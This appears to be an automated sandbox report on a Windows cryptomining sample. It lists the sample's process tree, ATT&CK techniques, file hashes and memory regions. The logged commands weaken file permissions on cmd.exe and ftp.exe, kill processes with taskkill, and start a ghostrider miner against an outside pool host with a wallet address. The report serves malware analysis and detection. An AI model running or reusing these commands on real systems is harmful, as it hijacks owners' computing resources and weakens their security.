C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\*" /t /e /c /r everyone
3⤵
PID:3696

C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\*" /t /e /c /r system
3⤵
PID:3984

C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\CGlobalan.exe" /t /e /c /r everyone
3⤵
PID:460

C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\CGlobalan.exe" /t /e /c /r system
3⤵
PID:1140

C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\*" /t /e /c /r everyone
3⤵
PID:1936

C:\Windows\SysWOW64\cacls.exe
Cacls "C:\Windows\SystemCvlsa\*" /t /e /c /r system
3⤵
PID:3208

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g everyone:f
2⤵
PID:1984

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
3⤵
PID:4336

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g everyone:f
2⤵
PID:4092

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
3⤵
PID:5220

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
2⤵
PID:4860

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cacls.exe /e /t /g everyone:f
3⤵
PID:5192

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
2⤵
PID:928

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
3⤵
PID:5384

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\cacls.exe /e /t /g system:f
2⤵
PID:912

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cacls.exe /e /t /g system:f
3⤵
PID:5228

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\cacls.exe /e /t /g system:f
2⤵
PID:1292

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cacls.exe /e /t /g system:f
3⤵
PID:3384

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\cacls.exe /e /t /g system:f
2⤵
PID:3976

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cacls.exe /e /t /g system:f
3⤵
PID:5212

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
2⤵
PID:4432

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cacls.exe /e /t /g everyone:f
3⤵
PID:5200

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g everyone:f
2⤵
PID:744

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
3⤵
PID:5472

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
2⤵
PID:3916

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
3⤵
PID:5372

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
2⤵
PID:532

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
3⤵
PID:5400

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g system:f
2⤵
PID:1184

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cmd.exe /e /t /g system:f
3⤵
PID:5736

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g system:f
2⤵
PID:640

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cmd.exe /e /t /g system:f
3⤵
PID:5720

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\cmd.exe /e /t /g system:f
2⤵
PID:2220

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cmd.exe /e /t /g system:f
3⤵
PID:5364

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
2⤵
PID:2488

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\cmd.exe /e /t /g everyone:f
3⤵
PID:5436

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\cmd.exe /e /t /g everyone:f
2⤵
PID:4752

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\cmd.exe /e /t /g everyone:f
3⤵
PID:5428

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
2⤵
PID:4372

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
3⤵
PID:5756

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
2⤵
PID:3948

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
3⤵
PID:5748

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
2⤵
PID:3972

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
3⤵
PID:5848

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
2⤵
PID:4264

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
3⤵
PID:5816

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:860

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5792

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
2⤵
PID:3556

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
3⤵
PID:5828

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:2896

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5964

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
2⤵
PID:1440

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
3⤵
PID:5868

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:3176

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5608

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:1544

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5948

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:1240

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5976

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:1140

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5888

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:460

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5456

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:4284

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5984

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:3984

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5728

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
2⤵
PID:980

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
3⤵
PID:5840

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:3696

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5804

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:2112

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5856

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
2⤵
PID:4388

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
3⤵
PID:5880

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
2⤵
PID:3896

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g system:f
2⤵
PID:1552

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g system:f
2⤵
PID:512

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g system:f
2⤵
PID:3632

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
2⤵
PID:4940

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\SysWOW64\ftp.exe /e /t /g everyone:f
2⤵
PID:4276

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls %systemroot%\system32\ftp.exe /e /t /g everyone:f
2⤵
PID:3996

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cmd.exe
2⤵
PID:6028

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im cmd.exe
3⤵
- Kills process with taskkill
PID:6080

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cacls.exe
2⤵
PID:6108

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im cacls.exe
3⤵
- Kills process with taskkill
PID:1984

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
2⤵
PID:5408

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
2⤵
PID:5516

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
3⤵
PID:5932

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
2⤵
PID:5644

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
3⤵
PID:4864

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
2⤵
PID:220

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
3⤵
PID:2632

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:2640

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5980

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cmd.exe
2⤵
PID:3172

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im cmd.exe
3⤵
- Kills process with taskkill
PID:4164

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
2⤵
PID:4956

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
3⤵
PID:5916

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:4628

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5340

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
2⤵
PID:3436

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
3⤵
PID:4532

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:1084

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5996

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:5452

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:4852

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:3884

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:4968

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:5672

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5952

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:5592

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5308

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:3068

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5912

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:2236

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:4740

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
2⤵
PID:4244

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
3⤵
PID:5948

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:5060

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:1448

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:5472

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:5032

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cacls.exe
2⤵
PID:4344

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe -a ghostrider --donate-level 1 --max-cpu-usage 75 --url s.ooooooooooo.top:11433 --tls --user 14QUg7ycnWmVqfcmvuwYofsoTX4d2FuPk2.1114c -p x -k >C:\Users\Admin\AppData\Local\Temp\CPU_log.txt
2⤵
PID:3888

C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe
C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe -a ghostrider --donate-level 1 --max-cpu-usage 75 --url s.ooooooooooo.top:11433 --tls --user 14QUg7ycnWmVqfcmvuwYofsoTX4d2FuPk2.1114c -p x -k
3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
PID:5748

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
2⤵
PID:5156

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g system:f
3⤵
PID:412

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
2⤵
PID:3292

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« CPUÊÍ·ÅÃû £« e /t /g everyone:f
3⤵
PID:5772

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
2⤵
PID:6024

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g system:f
3⤵
PID:312

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
2⤵
PID:1184

C:\Windows\SysWOW64\cacls.exe
cacls £« È¡ÌØ¶¨Ä¿Â¼ (11) £« sqlageatc.exe £« e /t /g everyone:f
3⤵
PID:5012

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:3384

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:3480

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cmd.exe
2⤵
PID:2636

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im cmd.exe
3⤵
- Kills process with taskkill
PID:6140

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:2460

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:980

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
2⤵
PID:5420

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlageatc.exe /e /t /g system:f
3⤵
PID:580

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:1664

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:6064

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
2⤵
PID:2112

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlageatc.exe /e /t /g system:f
3⤵
PID:6136

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:1784

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:3668

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:1140

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:1404

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:5424

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:1428

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:1536

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5028

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:636

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:1752

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:5700

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:5844

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
2⤵
PID:3148

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlageatc.exe /t /g system:f
3⤵
PID:1844

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
2⤵
PID:5360

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g everyone:f
3⤵
PID:6060

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
2⤵
PID:4212

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlageatc.exe /e /t /g system:f
3⤵
PID:6084

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im cacls.exe
2⤵
PID:2604

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im cacls.exe
3⤵
- Kills process with taskkill
PID:4920

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
1⤵
PID:5588

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
1⤵
PID:5912

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

1

T1562

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\TempUpdate2.bat
Filesize
32KB

MD5
ec3fa33874b842d0a549688a2ca7723a

SHA1
7cd48ada26369a3d100ee526717571c5b5b86566

SHA256
64a049cf96b48bf4d48945530e2cd4a150d8aac45617cedf986466983169f8aa

SHA512
260bf2d6ede6a990c187ff9f6cb768bcadb4be5a1d6676ce3cf318638e4edf251446e061d83d65ab8cfe847301da837c8e880a19383cfb4b5bf06c5a9fa28d61

Download Submit
C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe
Filesize
7.8MB

MD5
511b1f4ee364d62bcc8fe33796b717b1

SHA1
b8381cab13176fcc5f694e8738da49d56ccfdc1f

SHA256
add5ee62fa476f69934dd58d0753ec755696ef7f75e516b62dacf74c47100d5d

SHA512
022139cabb6c930edb44c058fc1dd37857d1cd53b63c261a3596e9b01587a701b5a52731fec7797f1fd6872eb23b7ef03760a48fade83183c4d560fa8fec1bb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\sqlageatc.exe
Filesize
7.8MB

MD5
511b1f4ee364d62bcc8fe33796b717b1

SHA1
b8381cab13176fcc5f694e8738da49d56ccfdc1f

SHA256
add5ee62fa476f69934dd58d0753ec755696ef7f75e516b62dacf74c47100d5d

SHA512
022139cabb6c930edb44c058fc1dd37857d1cd53b63c261a3596e9b01587a701b5a52731fec7797f1fd6872eb23b7ef03760a48fade83183c4d560fa8fec1bb3

Download Submit
memory/456-183-0x0000000000000000-mapping.dmp

Download
memory/528-139-0x0000000000000000-mapping.dmp

Download
memory/680-159-0x0000000000000000-mapping.dmp

Download
memory/800-132-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download
memory/800-133-0x00000000023A0000-0x00000000023AB000-memory.dmp

Filesize
44KB

Download
memory/800-134-0x00000000023A0000-0x00000000023AB000-memory.dmp

Filesize
44KB

Download
memory/800-199-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download
memory/980-189-0x0000000000000000-mapping.dmp

Download
memory/1100-193-0x0000000000000000-mapping.dmp

Download
memory/1184-185-0x0000000000000000-mapping.dmp

Download
memory/1248-135-0x0000000000000000-mapping.dmp

Download
memory/1256-169-0x0000000000000000-mapping.dmp

Download
memory/1348-137-0x0000000000000000-mapping.dmp

Download
memory/1472-194-0x0000000000000000-mapping.dmp

Download
memory/1816-138-0x0000000000000000-mapping.dmp

Download
memory/1852-142-0x0000000000000000-mapping.dmp

Download
memory/1880-141-0x0000000000000000-mapping.dmp

Download
memory/1888-163-0x0000000000000000-mapping.dmp

Download
memory/2040-145-0x0000000000000000-mapping.dmp

Download
memory/2188-181-0x0000000000000000-mapping.dmp

Download
memory/2224-177-0x0000000000000000-mapping.dmp

Download
memory/2452-149-0x0000000000000000-mapping.dmp

Download
memory/2504-151-0x0000000000000000-mapping.dmp

Download
memory/2556-190-0x0000000000000000-mapping.dmp

Download
memory/2660-184-0x0000000000000000-mapping.dmp

Download
memory/2744-164-0x0000000000000000-mapping.dmp

Download
memory/3024-166-0x0000000000000000-mapping.dmp

Download
memory/3100-167-0x0000000000000000-mapping.dmp

Download
memory/3112-146-0x0000000000000000-mapping.dmp

Download
memory/3212-178-0x0000000000000000-mapping.dmp

Download
memory/3216-197-0x0000000000000000-mapping.dmp

Download
memory/3248-147-0x0000000000000000-mapping.dmp

